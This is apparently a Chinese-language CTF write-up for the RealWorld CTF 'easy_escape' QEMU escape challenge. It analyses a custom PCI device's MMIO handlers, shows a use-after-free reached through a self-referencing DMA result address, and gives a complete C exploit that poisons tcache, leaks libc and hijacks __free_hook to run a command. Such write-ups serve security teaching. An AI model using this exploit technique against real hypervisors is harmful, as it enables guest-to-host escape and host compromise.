easy_escape
分析
首先看一下启动程序run.sh
1 2 3 4 5 6 7 8 9 10
| #!/bin/sh
./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \\ -m 64M \\ -monitor none \\ -device fun \\ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \\ -nographic
|
漏洞肯定位于fun设备中,用ida分析一下qemu-system-x86_64,从fun_class_init函数中我们可以得到vendor_id,class_id。在qemu中查看一下resource,看到只有一个内存空间
1 2 3 4 5 6 7 8 9 10 11
| / 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: cafe:babe 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 / 0x00000000febf1000 0x00000000febf1fff 0x0000000000040200
|
这里我们直接进入mmio_read/write函数进行分析,先来看一下mmio_write函数。其中FunState的结构如下
1 2 3 4 5 6 7 8 9 10 11
| 00000000 FunState struc ; (sizeof=0xA00, align=0x10, copyof_4860) 00000000 pdev PCIDevice_0 ? 000008F0 mmio MemoryRegion_0 ? 000009E0 addr dd ? 000009E4 size dd ? 000009E8 idx dd ? 000009EC result_addr dd ? 000009F0 req dq ? ; offset 000009F8 as dq ? ; offset 00000A00 FunState ends
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| void __cdecl fun_mmio_write(FunState *opaque, hwaddr cmd, uint32_t_0 val) { switch ( cmd ) { case 0uLL: opaque->size = val; break; case 4uLL: opaque->addr = val; break; case 8uLL: opaque->result_addr = val; break; case 0xCuLL: opaque->idx = val; break; case 0x10uLL: if ( opaque->req ) handle_data_read(opaque, opaque->req, opaque->idx); break; case 0x14uLL: if ( !opaque->req ) opaque->req = create_req(opaque->size); break; case 0x18uLL: if ( opaque->req ) delete_req(opaque->req); opaque->req = 0LL; opaque->size = 0; break; default: return; } }
|
函数根据cmd为fun结构体中的不同的成员变量赋值,其中当cmd=0x14的时候会为req创建相应的结构体,我们看一下这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| FunReq *__cdecl create_req(uint32_t_0 size) { uint32_t_0 i; uint32_t_0 t; FunReq *req;
if ( size > 0x1FBFF ) return 0LL; req = (FunReq *)malloc(0x400uLL); memset(req, 0, sizeof(FunReq)); req->total_size = size; t = (req->total_size >> 10) + 1; for ( i = 0; i < t; ++i ) req->list[i] = (char *)malloc(0x400uLL); return req; }
|
即按照opaque->size的值为req的成员变量total_size赋值,req->list中堆块指针数量由(size>>10) + 1决定,其中最多为127个。当cmd为0x18的时候会调用delete_req函数,
1 2 3 4 5 6 7 8 9 10 11
| void __cdecl delete_req(FunReq *req) { uint32_t_0 i; uint32_t_0 t;
t = (req->total_size >> 10) + 1; for ( i = 0; i < t; ++i ) free(req->list[i]); free(req); }
|
根据req->total_size的值,依次释放req->list[i]指向的内存空间。当cmd=0x10且req!=NULL的时候会调用handle_data_read函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val) { if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 ) { put_result(fun, 1u); dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL); put_result(fun, 2u); } } void __cdecl put_result(FunState *fun, uint32_t_0 val) { uint32_t_0 result; unsigned __int64 v3;
v3 = __readfsqword(0x28u); result = val; dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL); } int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len) { return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE); } int __cdecl dma_memory_read_9(AddressSpace_0 *as, dma_addr_t addr, void *buf, dma_addr_t len) { return dma_memory_rw_24(as, addr, buf, len, DMA_DIRECTION_TO_DEVICE); }
|
这里首先调用put_result将固定的值写入到fun->result_addr指向的物理内存中,然后调用dma_memory_read_9函数将fun->addr+(val << 10)指向的物理内存中的内容写入到req->list[index]指向的内存空间中。即写入数据。
再来看一下mmio_read函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr cmd) { uint32_t_0 val;
val = -1; switch ( cmd ) { case 0uLL: val = opaque->size; break; case 4uLL: val = opaque->addr; break; case 8uLL: val = opaque->result_addr; break; case 0xCuLL: val = opaque->idx; break; case 0x10uLL: if ( opaque->req ) handle_data_write(opaque, opaque->req, opaque->idx); break; default: return val; } return val; }
|
可以看到是根据cmd的值来决定返回的FunState中的成员变量的值,当cmd=0x10的时候如果req!=NUll那么就会调用handle_data_write函数看一下该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 idx) { if ( req->total_size && idx <= 0x7E && idx < (req->total_size >> 10) + 1 ) { put_result(fun, 1u); dma_memory_write_9(fun->as, (idx << 10) + fun->addr, req->list[idx], 0x400uLL); put_result(fun, 2u); } } void __cdecl put_result(FunState *fun, uint32_t_0 val) { uint32_t_0 result; unsigned __int64 v3;
v3 = __readfsqword(0x28u); result = val; dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL); } int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len) { return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE); }
|
函数的作用是首先调用put_result将固定的值写入到fun->result_addr指向的物理内存中,然后调用dma_memory_write_9函数将req->list[index]指向的内存空间中的内容写入到fun->addr + (index << 10)指向的物理内存中,即读取req->list[index]中的数据。与handle_data_read函数类似。
漏洞位于put_result函数中,该函数最终调用的是fun_mmio_write()函数,其中参数就是我们设置的result_addr,也就是说如果我们将result_addr设置为mmio_address+0x18,那么函数最终就是调用fun_mmio_write(0x18),也就是会调用delete_req函数。那么之后的dma_memory_read/write函数就会读写已经释放的堆块,造成一个UAF漏洞。

利用
这里如果我们首先申请多个req即0x400大小的堆块,那么在delete req的时候,这些堆块就会进入tcache中,因此这里如果我们读取数据的话就会泄漏出heap地址和tcache entry的地址,根据heap地址我们可以计算得到req的堆地址。需要注意的是,在req释放之后前0x10字节会被覆写,因此我们需要将index设置为1/2进行读取。
得到req地址之后我们可以将tcache->fd,bk改写为req address,tcache entry,那么在之后进行create req的时候req->list[2]=req,这样我们就可以做到任意地址读写。
任意地址读写之后就可以读取tcache entry中的残留数据,泄漏出proc address,之后读取puts got泄漏得到libc基址,覆写free_hook-0x10为"cat /falg"+system_address。那么在释放的时候就会输出flag。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235
| #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include<sys/io.h>
#define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1)
unsigned char* mmio_mem; uint32_t mmio_addr = 0xfebf1000; uint32_t mmio_size = 0x1000; uint64_t elf_puts_got = 0x100dd38; uint64_t libc_puts_offset = 0x875a0; uint64_t libc_system_offset = 0x55410; uint64_t libc_free_hook_offset = 0x1eeb28;
uint32_t page_offset(uint32_t addr) { return addr & ((1<< PAGE_SHIFT) - 1); }
uint64_t gva_to_gfn(void*addr) {
uint8_t*ptr; uint64_t ptr_mem;
int fd = open("/proc/self/pagemap", O_RDONLY); if(fd < 0) { perror("open"); exit(1); }
uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if(!(pme & PFN_PRESENT)) return-1; gfn = pme & PFN_PFN; return gfn; }
uint64_t gva_to_gpa(void*addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); }
void die(const char* msg) { perror(msg); exit(-1); }
void* mem_map( const char* dev, size_t offset, size_t size ) { int fd = open( dev, O_RDWR | O_SYNC ); if ( fd == -1 ) { return 0; }
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) { return 0; }
close( fd ); return result; }
void mmio_write(uint64_t addr, uint64_t value, int choice) { if (choice == 0){ *((uint8_t*)(mmio_mem + addr)) = value; } else if (choice == 1){ *((uint16_t*)(mmio_mem + addr)) = value; } else if (choice == 2){ *((uint32_t*)(mmio_mem + addr)) = value; } else if (choice == 3){ *((uint64_t*)(mmio_mem + addr)) = value; } }
uint64_t mmio_read(uint32_t addr, int choice) { if(choice == 0){ return *((uint8_t*)(mmio_mem + addr)); } else if(choice == 1){ return *((uint16_t*)(mmio_mem + addr)); } else if(choice == 2){ return *((uint32_t*)(mmio_mem + addr)); } else if(choice == 3){ return *((uint64_t*)(mmio_mem + addr)); } }
void set_size(uint32_t size){ mmio_write(0, size << 10, 2); }
void set_addr(uint32_t addr){ mmio_write(4, addr, 2); }
void set_result_addr(uint32_t addr){ mmio_write(8, addr, 2); }
void set_idx(uint32_t idx){ mmio_write(0xc, idx, 2); }
void handle_data_read(){ mmio_write(0x10, 0, 2); }
void create_req(uint32_t size){ set_size(size); mmio_write(0x14, 0, 2); }
void delete_req(){ mmio_write(0x18, 0, 2); }
void handle_data_write(){ mmio_read(0x10, 2); }
int main(){ system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size); if (!mmio_mem){ die("mmio or vga mmap failed"); } char* buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (!buf){ die("mmap failed\\n"); } memset(buf, 0, 0x1000); uint64_t physical_buf_address = gva_to_gpa(buf); create_req(2); set_result_addr(mmio_addr+0x18); set_idx(2); set_addr(physical_buf_address); handle_data_write(); uint64_t req_address = *(uint64_t *)(buf + 0x800) - 0x410*2; uint64_t tcache_entry_address = *(uint64_t *)(buf + 0x808); printf("req: %p\\ntcache entry: %p\\n", req_address, tcache_entry_address);
memset(buf, 0, 0x1000); create_req(2); set_result_addr(mmio_addr + 0x18); set_idx(1); set_addr(physical_buf_address);
*(uint64_t*)(buf + 0x400) = req_address; *(uint64_t*)(buf + 0x408) = tcache_entry_address; handle_data_read(); printf("tcache chain has been changed\\n");
memset(buf, 0, 0x1000); create_req(2); set_result_addr(mmio_addr); set_idx(2); set_addr(physical_buf_address);
*(uint64_t*)(buf + 0x800) = 0x800; *(uint64_t*)(buf + 0x808) = tcache_entry_address + 0x788; *(uint64_t*)(buf + 0x810) = 0; *(uint64_t*)(buf + 0x818) = req_address; handle_data_read(); set_idx(0); handle_data_write(); uint64_t proc_address = *(uint64_t *)buf - 0xa700a0; printf("proc base: %p\\n", proc_address);
memset(buf, 0, 0x1000); set_idx(2); *(uint64_t*)(buf + 0x800) = 0x800; *(uint64_t*)(buf + 0x808) = proc_address + elf_puts_got; *(uint64_t*)(buf + 0x810) = 0; *(uint64_t*)(buf + 0x818) = req_address;
handle_data_read(); set_idx(0); handle_data_write(); uint64_t libc_address = *(uint64_t*)buf - libc_puts_offset; printf("libc address: %p\\n", libc_address);
memset(buf, 0, 0x1000); set_idx(2); *(uint64_t*)(buf + 0x800) = 0x800; *(uint64_t*)(buf + 0x808) = libc_address + libc_free_hook_offset - 0x10; *(uint64_t*)(buf + 0x810) = 0; *(uint64_t*)(buf + 0x818) = req_address;
getchar();
handle_data_read(); set_idx(0); memset(buf, 0, 0x1000); strcpy(buf, "cat /flag"); *(uint64_t*)(buf + 0x10) = libc_system_offset + libc_address; handle_data_read();
delete_req();
}
|
参考
RealWorld CTF 2020 EasyEscape题解
Real World CTF 3rd - Esay Escape